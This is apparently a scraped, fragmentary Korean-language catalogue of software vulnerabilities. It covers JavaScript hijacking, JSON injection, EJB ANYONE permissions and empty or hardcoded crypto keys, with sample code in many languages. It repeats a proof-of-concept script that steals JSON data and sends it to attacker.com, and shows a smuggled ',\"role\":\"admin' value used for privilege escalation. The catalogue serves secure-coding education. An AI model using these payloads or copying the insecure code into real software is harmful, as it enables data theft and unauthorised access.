ANYONE
역할에는 EJB 메서드를 호출할 수 있는 권한을 부여해서는 안 됩니다.ANYONE
역할에 액세스 권한을 부여하는 하나 이상의 메서드 권한이 EJB 배포 설명자에 포함된 경우 이는 응용 프로그램에 대한 액세스 제어가 완전히 고려되지 않았거나 응용 프로그램이 합리적인 액세스 제어 제한이 불가능한 방식으로 구성되었음을 나타냅니다.Employee
EJB의 메서드 getSalary()
를 호출할 수 있는 권한을 ANYONE
에 부여합니다.
<ejb-jar>
...
<assembly-descriptor>
<method-permission>
<role-name>ANYONE</role-name>
<method>
<ejb-name>Employee</ejb-name>
<method-name>getSalary</method-name>
</method-permission>
</assembly-descriptor>
...
</ejb-jar>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
태그를 사용하여 평가할 수 있는 유효한 JavaScript로 구성되는 응답을 생성하므로 JavaScript 하이재킹(Hijacking)에 대해 취약합니다[1]. 기본적으로, 프레임워크는 요청을 전송하는 데 POST 메서드를 사용하기 때문에 악성 <script>
태그에서 요청을 생성하기 어렵게 합니다(<script>
태그는 GET 요청만 생성). 그러나, Microsoft AJAX.NET은 GET 요청을 사용하기 위한 메커니즘을 제공합니다. 사실, 많은 전문가들이 브라우저 캐싱에 영향을 주고 성능을 향상시키기 위해서 프로그래머에게 GET 요청을 사용하도록 권장합니다.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
username
및 password
에서 C:\user_info.json
에 있는 JSON 파일로 권한 없는 사용자("관리자" 역할이 있는 권한 사용자와 반대로 "기본" 역할이 있는 사용자)에 대한 사용자 계정 인증 정보를 직렬화합니다.
...
StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);
using (JsonWriter writer = new JsonTextWriter(sw))
{
writer.Formatting = Formatting.Indented;
writer.WriteStartObject();
writer.WritePropertyName("role");
writer.WriteRawValue("\"default\"");
writer.WritePropertyName("username");
writer.WriteRawValue("\"" + username + "\"");
writer.WritePropertyName("password");
writer.WriteRawValue("\"" + password + "\"");
writer.WriteEndObject();
}
File.WriteAllText(@"C:\user_info.json", sb.ToString());
JsonWriter.WriteRawValue()
를 사용하여 수행되므로 username
및 password
에서 신뢰하지 않는 데이터는 JSON 관련 특수 문자를 이스케이프 처리하도록 인증되지 않습니다. 이를 통해 사용자는 임의적으로 JSON 키를 삽입하여 직렬화된 JSON 구조를 변경할 수 있습니다. 이 예제에서 암호 Evil123!
를 사용하는 권한 없는 사용자 mallory
가 username
변수 값을 설정하는 프롬프트에 입력 시 ","role":"admin
을 사용자 이름에 추가한 경우 C:\user_info.json
에 저장된 결과 JSON은 다음과 같습니다.
{
"role":"default",
"username":"mallory",
"role":"admin",
"password":"Evil123!"
}
JsonConvert.DeserializeObject()
로 Dictionary
개체에 병렬화된 경우 다음과 같습니다.
String jsonString = File.ReadAllText(@"C:\user_info.json");
Dictionary<string, string> userInfo = JsonConvert.DeserializeObject<Dictionary<string, strin>>(jsonString);
Dictionary
개체에 있는 username
, password
및 role
키의 결과 값은 각각 mallory
, Evil123!
및 admin
입니다. 병렬화된 JSON 값이 유효하다는 추가 확인이 없으면 응용 프로그램이 사용자 mallory
"관리자" 권한을 잘못 할당합니다.username
및 password
부터 ~/user_info.json
에 있는 JSON 파일까지 권한 없는 사용자("관리자" 역할이 있는 권한 사용자가 아닌 "기본" 역할이 있는 사용자)를 위한 사용자 계정 인증 정보를 직렬화합니다.
...
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
username := r.FormValue("username")
password := r.FormValue("password")
...
jsonString := `{
"username":"` + username + `",
"role":"default"
"password":"` + password + `",
}`
...
f, err := os.Create("~/user_info.json")
defer f.Close()
jsonEncoder := json.NewEncoder(f)
jsonEncoder.Encode(jsonString)
}
username
및 password
에서 신뢰할 수 없는 데이터는 JSON 관련 특수 문자를 이스케이프 처리하도록 인증되지 않습니다. 이를 통해 사용자는 임의적으로 JSON 키를 삽입할 수 있으며, 그러면 직렬화된 JSON 구조가 변경될 수 있습니다. 이 예제에서 암호 Evil123!
를 사용하는 권한 없는 사용자 mallory
가 사용자 이름을 입력할 때 ","role":"admin
을 추가하면 ~/user_info.json
에 저장되는 결과 JSON은 다음과 같습니다.
{
"username":"mallory",
"role":"default",
"password":"Evil123!",
"role":"admin"
}
mallory
"관리자" 권한을 예기치 않게 할당합니다.username
및 password
부터 ~/user_info.json
에 있는 JSON 파일까지 권한 없는 사용자("관리자" 역할이 있는 권한 사용자가 아닌 "기본" 역할이 있는 사용자)를 위한 사용자 계정 인증 정보를 직렬화합니다.
...
JsonFactory jfactory = new JsonFactory();
JsonGenerator jGenerator = jfactory.createJsonGenerator(new File("~/user_info.json"), JsonEncoding.UTF8);
jGenerator.writeStartObject();
jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + username + "\"");
jGenerator.writeFieldName("password");
jGenerator.writeRawValue("\"" + password + "\"");
jGenerator.writeFieldName("role");
jGenerator.writeRawValue("\"default\"");
jGenerator.writeEndObject();
jGenerator.close();
JsonGenerator.writeRawValue()
를 사용하여 수행되므로 username
및 password
에서 신뢰하지 않는 데이터는 JSON 관련 특수 문자를 이스케이프 처리하도록 인증되지 않습니다. 이를 통해 사용자는 임의적으로 JSON 키를 삽입하여 직렬화된 JSON 구조를 변경할 수 있습니다. 이 예제에서 암호 Evil123!
를 사용하는 권한 없는 사용자 mallory
가 username
변수 값을 설정하는 프롬프트에 입력 시 ","role":"admin
을 사용자 이름에 추가한 경우 ~/user_info.json
에 저장된 결과 JSON은 다음과 같습니다.
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
JsonParser
로 HashMap
개체에 병렬화된 경우 다음과 같습니다.
JsonParser jParser = jfactory.createJsonParser(new File("~/user_info.json"));
while (jParser.nextToken() != JsonToken.END_OBJECT) {
String fieldname = jParser.getCurrentName();
if ("username".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if ("password".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if ("role".equals(fieldname)) {
jParser.nextToken();
userInfo.put(fieldname, jParser.getText());
}
if (userInfo.size() == 3)
break;
}
jParser.close();
HashMap
개체에 있는 username
, password
및 role
키의 결과 값은 각각 mallory
, Evil123!
및 admin
입니다. 병렬화된 JSON 값이 유효하다는 추가 확인이 없으면 응용 프로그램이 사용자 mallory
"관리자" 권한을 잘못 할당합니다.
var str = document.URL;
var url_check = str.indexOf('name=');
var name = null;
if (url_check > -1) {
name = decodeURIComponent(str.substring((url_check+5), str.length));
}
$(document).ready(function(){
if (name !== null){
var obj = jQuery.parseJSON('{"role": "user", "name" : "' + name + '"}');
...
}
...
});
name
의 신뢰할 수 없는 데이터는 JSON 관련 특수 문자를 이스케이프하도록 검증되지 않습니다. 이를 통해 사용자는 임의적으로 JSON 키를 삽입하여 직렬화된 JSON 구조를 변경할 수 있습니다. 이 예제에서 권한 없는 사용자 mallory
가 URL의 이름 매개 변수에 ","role":"admin
를 추가한 경우 JSON은 다음이 됩니다.
{
"role":"user",
"username":"mallory",
"role":"admin"
}
jQuery.parseJSON()
에 의해 구문 분석되고 일반 개체로 설정됩니다. 이는 obj.role
이 이제 "user" 대신 "admin"를 반환함을 의미합니다._usernameField
및 _passwordField
에서 JSON으로 권한 없는 사용자("관리자" 역할이 있는 권한 사용자와 반대로 "기본" 역할이 있는 사용자)에 대한 사용자 계정 인증 정보를 직렬화합니다.
...
NSString * const jsonString = [NSString stringWithFormat: @"{\"username\":\"%@\",\"password\":\"%@\",\"role\":\"default\"}" _usernameField.text, _passwordField.text];
NSString.stringWithFormat:
를 사용하여 수행되므로 _usernameField
및 _passwordField
에서 신뢰하지 않는 데이터는 JSON 관련 특수 문자를 이스케이프 처리하도록 인증되지 않습니다. 이를 통해 사용자는 임의적으로 JSON 키를 삽입하여 직렬화된 JSON 구조를 변경할 수 있습니다. 이 예제에서 암호 Evil123!
를 사용하는 권한 없는 사용자 mallory
가 _usernameField
필드에 입력 시 ","role":"admin
을 사용자 이름에 추가한 경우 그 결과 JSON은 다음과 같습니다.
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
NSJSONSerialization.JSONObjectWithData:
로 NSDictionary
개체에 병렬화된 경우 다음과 같습니다.
NSError *error;
NSDictionary *jsonData = [NSJSONSerialization JSONObjectWithData:[jsonString dataUsingEncoding:NSUTF8StringEncoding] options:NSJSONReadingAllowFragments error:&error];
NSDictionary
개체에 있는 username
, password
및 role
의 결과 값은 각각 mallory
, Evil123!
및 admin
입니다. 병렬화된 JSON 값이 유효하다는 추가 확인이 없으면 응용 프로그램이 사용자 mallory
"관리자" 권한을 잘못 할당합니다.
import json
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs
url = 'https://www.example.com/some_path?name=some_value'
parsed_url = urlparse(url)
untrusted_values = parse_qs(parsed_url.query)['name'][0]
with open('data.json', 'r') as json_File:
data = json.load(json_File)
data['name']= untrusted_values
with open('data.json', 'w') as json_File:
json.dump(data, json_File)
...
name
의 신뢰할 수 없는 데이터는 JSON 관련 특수 문자를 이스케이프 처리하도록 검증되지 않습니다. 따라서 사용자는 JSON 키를 임의로 삽입할 수 있으며 결과적으로 직렬화된 JSON의 구조가 변경될 수 있습니다. 이 예에서 권한이 없는 사용자 mallory
가 URL의 name 매개 변수에 ","role":"admin
을 추가하면 JSON은 다음과 같습니다.
{
"role":"user",
"username":"mallory",
"role":"admin"
}
usernameField
및 passwordField
에서 권한 없는 사용자("관리자" 역할이 있는 권한 사용자와 반대로 "기본" 역할이 있는 사용자)에 대한 사용자 계정 인증 정보를 JSON으로 직렬화합니다.
...
let jsonString : String = "{\"username\":\"\(usernameField.text)\",\"password\":\"\(passwordField.text)\",\"role\":\"default\"}"
usernameField
및 passwordField
에서 신뢰할 수 없는 데이터는 JSON 관련 특수 문자를 이스케이프 처리하도록 검증되지 않습니다. 이를 통해 사용자는 임의적으로 JSON 키를 삽입하여 직렬화된 JSON 구조를 변경할 수 있습니다. 이 예제에서 암호 Evil123!
를 사용하는 권한 없는 사용자 mallory
가 usernameField
필드에 입력 시 ","role":"admin
을 사용자 이름에 추가한 경우 그 결과 JSON은 다음과 같습니다.
{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}
NSJSONSerialization.JSONObjectWithData:
로 NSDictionary
개체에 병렬화된 경우 다음과 같습니다.
var error: NSError?
var jsonData : NSDictionary = NSJSONSerialization.JSONObjectWithData(jsonString.dataUsingEncoding(NSUTF8StringEncoding), options: NSJSONReadingOptions.MutableContainers, error: &error) as NSDictionary
NSDictionary
개체에 있는 username
, password
및 role
의 결과 값은 각각 mallory
, Evil123!
및 admin
입니다. 병렬화된 JSON 값이 유효하다는 추가 확인이 없으면 응용 프로그램이 사용자 mallory
"관리자" 권한을 잘못 할당합니다.
...
encryptionKey = "".
...
...
var encryptionKey:String = "";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
char encryptionKey[] = "";
...
...
<cfset encryptionKey = "" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("");
block, err := aes.NewCipher(key)
...
...
private static String encryptionKey = "";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
CCCrypt(kCCEncrypt,
kCCAlgorithmAES,
kCCOptionPKCS7Padding,
"",
0,
iv,
plaintext,
sizeof(plaintext),
ciphertext,
sizeof(ciphertext),
&numBytesEncrypted);
...
...
$encryption_key = '';
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
cipher = AES.new("", AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
require 'openssl'
...
dk = OpenSSL::PKCS5::pbkdf2_hmac_sha1(password, salt, 100000, 0) # returns an empty string
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"",
0,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
Dim encryptionKey As String
Set encryptionKey = ""
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.
CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = space
RECEIVING
ro_object = lo_hmac.
" update HMAC with input
lo_hmac->update( if_data = input_string ).
" finalise hmac
lo_digest->final( ).
...
Example 1
에 표시된 코드는 성공적으로 실행될 수 있지만 코드에 접근할 수 있는 사용자는 빈 HMAC 키가 사용되고 있음을 알아낼 수 있습니다. 프로그램을 공개한 후에는 프로그램에 패치를 적용해야만 빈 HMAC 키를 변경할 수 있습니다. 비양심적인 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 HMAC 함수를 손상시킬 수 있습니다. 또한 Example 1
의 코드는 forgery 및 key recovery 공격에 취약합니다.
...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
...
Example 1
의 코드는 성공적으로 실행될 수 있지만 코드에 접근할 수 있는 사용자는 빈 HMAC 키가 사용되고 있음을 알아낼 수 있습니다. 프로그램을 공개한 후에는 프로그램에 패치를 적용해야만 빈 HMAC 키를 변경할 수 있습니다. 비양심적인 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 HMAC 함수를 손상시킬 수 있습니다. 또한 Example 1
의 코드는 forgery 및 key recovery 공격에 취약합니다.
import "crypto/hmac"
...
hmac.New(md5.New, []byte(""))
...
Example 1
의 코드는 성공적으로 실행될 수 있지만 코드에 접근할 수 있는 사용자는 빈 HMAC 키가 사용되고 있음을 확인할 수 있습니다. 프로그램을 공개한 후에는 프로그램에 패치를 적용해야만 빈 HMAC 키를 변경할 수 있습니다. 비양심적인 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 HMAC 함수를 손상시킬 수 있습니다. 또한 Example 1
의 코드는 forgery 및 key recovery 공격에 취약합니다.
...
private static String hmacKey = "";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...
Example 1
의 코드는 성공적으로 실행될 수 있지만 코드에 접근할 수 있는 사용자는 빈 HMAC 키가 사용되고 있음을 알아낼 수 있습니다. 프로그램을 공개한 후에는 프로그램에 패치를 적용해야만 빈 HMAC 키를 변경할 수 있습니다. 비양심적인 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 HMAC 함수를 손상시킬 수 있습니다. 또한 Example 1
의 코드는 forgery 및 key recovery 공격에 취약합니다.
...
let hmacKey = "";
let hmac = crypto.createHmac("SHA256", hmacKey);
hmac.update(data);
...
예제 1
의 코드는 성공적으로 실행될 수 있지만 코드에 접근할 수 있는 사용자는 빈 HMAC 키가 사용되고 있음을 알아낼 수 있습니다. 프로그램을 공개한 후에는 프로그램에 패치를 적용해야만 빈 HMAC 키를 변경할 수 있습니다. 비양심적인 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 HMAC 함수를 손상시킬 수 있습니다.
...
CCHmac(kCCHmacAlgSHA256, "", 0, plaintext, plaintextLen, &output);
...
Example 1
의 코드는 성공적으로 실행될 수 있지만 코드에 접근할 수 있는 사용자는 빈 HMAC 키가 사용되고 있음을 알아낼 수 있습니다. 프로그램을 공개한 후에는 프로그램에 패치를 적용해야만 빈 HMAC 키를 변경할 수 있습니다. 비양심적인 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 HMAC 함수를 손상시킬 수 있습니다. 또한 Example 1
의 코드는 forgery 및 key recovery 공격에 취약합니다.
import hmac
...
mac = hmac.new("", plaintext).hexdigest()
...
Example 1
의 코드는 성공적으로 실행될 수 있지만 코드에 접근할 수 있는 사용자는 빈 HMAC 키가 사용되고 있음을 알아낼 수 있습니다. 프로그램을 공개한 후에는 프로그램에 패치를 적용해야만 빈 HMAC 키를 변경할 수 있습니다. 비양심적인 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 HMAC 함수를 손상시킬 수 있습니다. 또한 Example 1
의 코드는 forgery 및 key recovery 공격에 취약합니다.
...
digest = OpenSSL::HMAC.digest('sha256', '', data)
...
Example 1
의 코드는 성공적으로 실행될 수 있지만 코드에 접근할 수 있는 사용자는 빈 HMAC 키가 사용되고 있음을 알아낼 수 있습니다. 프로그램을 공개한 후에는 프로그램에 패치를 적용해야만 빈 HMAC 키를 변경할 수 있습니다. 비양심적인 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 HMAC 함수를 손상시킬 수 있습니다. 또한 Example 1
의 코드는 forgery 및 key recovery 공격에 취약합니다.
...
CCHmac(UInt32(kCCHmacAlgSHA256), "", 0, plaintext, plaintextLen, &output)
...
Example 1
의 코드는 성공적으로 실행될 수 있지만 코드에 접근할 수 있는 사용자는 빈 HMAC 키가 사용되고 있음을 알아낼 수 있습니다. 프로그램을 공개한 후에는 프로그램에 패치를 적용해야만 빈 HMAC 키를 변경할 수 있습니다. 비양심적인 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 HMAC 함수를 손상시킬 수 있습니다. 또한 Example 1
의 코드는 forgery 및 key recovery 공격에 취약합니다.
...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("", salt,100000);
...
...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("");
...
const pbkdfPassword = "";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)
...
CCKeyDerivationPBKDF(kCCPBKDF2,
"",
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
...
CCKeyDerivationPBKDF(kCCPBKDF2,
password,
0,
salt,
saltLen
kCCPRFHmacAlgSHA256,
100000,
derivedKey,
derivedKeyLen);
...
password
에 적절히 관리되는 강력한 암호 값이 포함되어 있더라도 해당 길이를 0으로 전달하여 값이 비거나, null
이거나, 예기치 않게 약한 암호 값을 생성하게 됩니다.
...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "");
...
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', '', salt, 100000)
...
...
key = OpenSSL::PKCS5::pbkdf2_hmac('', salt, 100000, 256, 'SHA256')
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"",
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
password,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...
password
에 적절히 관리되는 강력한 암호 값이 포함되어 있더라도 해당 길이를 0으로 전달하여 값이 비거나, null
이거나, 예기치 않게 약한 암호 값을 생성하게 됩니다.
...
encryptionKey = "lakdsljkalkjlksdfkl".
...
...
var encryptionKey:String = "lakdsljkalkjlksdfkl";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...
...
Blob encKey = Blob.valueOf('YELLOW_SUBMARINE');
Blob encrypted = Crypto.encrypt('AES128', encKey, iv, input);
...
...
using (SymmetricAlgorithm algorithm = SymmetricAlgorithm.Create("AES"))
{
string encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = Encoding.ASCII.GetBytes(encryptionKey);
algorithm.Key = keyBytes;
...
}
...
char encryptionKey[] = "lakdsljkalkjlksdfkl";
...
...
<cfset encryptionKey = "lakdsljkalkjlksdfkl" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...
...
key := []byte("lakdsljkalkjlksd");
block, err := aes.NewCipher(key)
...
...
private static final String encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...
...
var crypto = require('crypto');
var encryptionKey = "lakdsljkalkjlksdfkl";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
{
"username":"scott"
"password":"tiger"
}
...
...
NSString encryptionKey = "lakdsljkalkjlksdfkl";
...
...
$encryption_key = 'hardcoded_encryption_key';
//$filter = new Zend_Filter_Encrypt('hardcoded_encryption_key');
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
encryption_key = b'_hardcoded__key_'
cipher = AES.new(encryption_key, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
_hardcoded__key_
를 변경할 수 있습니다. 비양심적인 직원이 이 정보에 대한 접근 권한을 갖게 되면 이를 사용하여 시스템에서 암호화된 데이터에 침입할 수 있습니다.
require 'openssl'
...
encryption_key = 'hardcoded_encryption_key'
...
cipher = OpenSSL::Cipher::AES.new(256, 'GCM')
cipher.encrypt
...
cipher.key=encryption_key
...
예제 2: 다음 코드는 하드코드된 암호화 키를 사용하여 AES 암호화를 수행합니다.
...
let encryptionKey = "YELLOW_SUBMARINE"
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"YELLOW_SUBMARINE",
16,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQCtVacMo+w+TFOm0p8MlBWvwXtVRpF28V+o0RNPx5x/1TJTlKEl
...
DiJPJY2LNBQ7jS685mb6650JdvH8uQl6oeJ/aUmq63o2zOw=
-----END RSA PRIVATE KEY-----
...
...
Dim encryptionKey As String
Set encryptionKey = "lakdsljkalkjlksdfkl"
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
production:
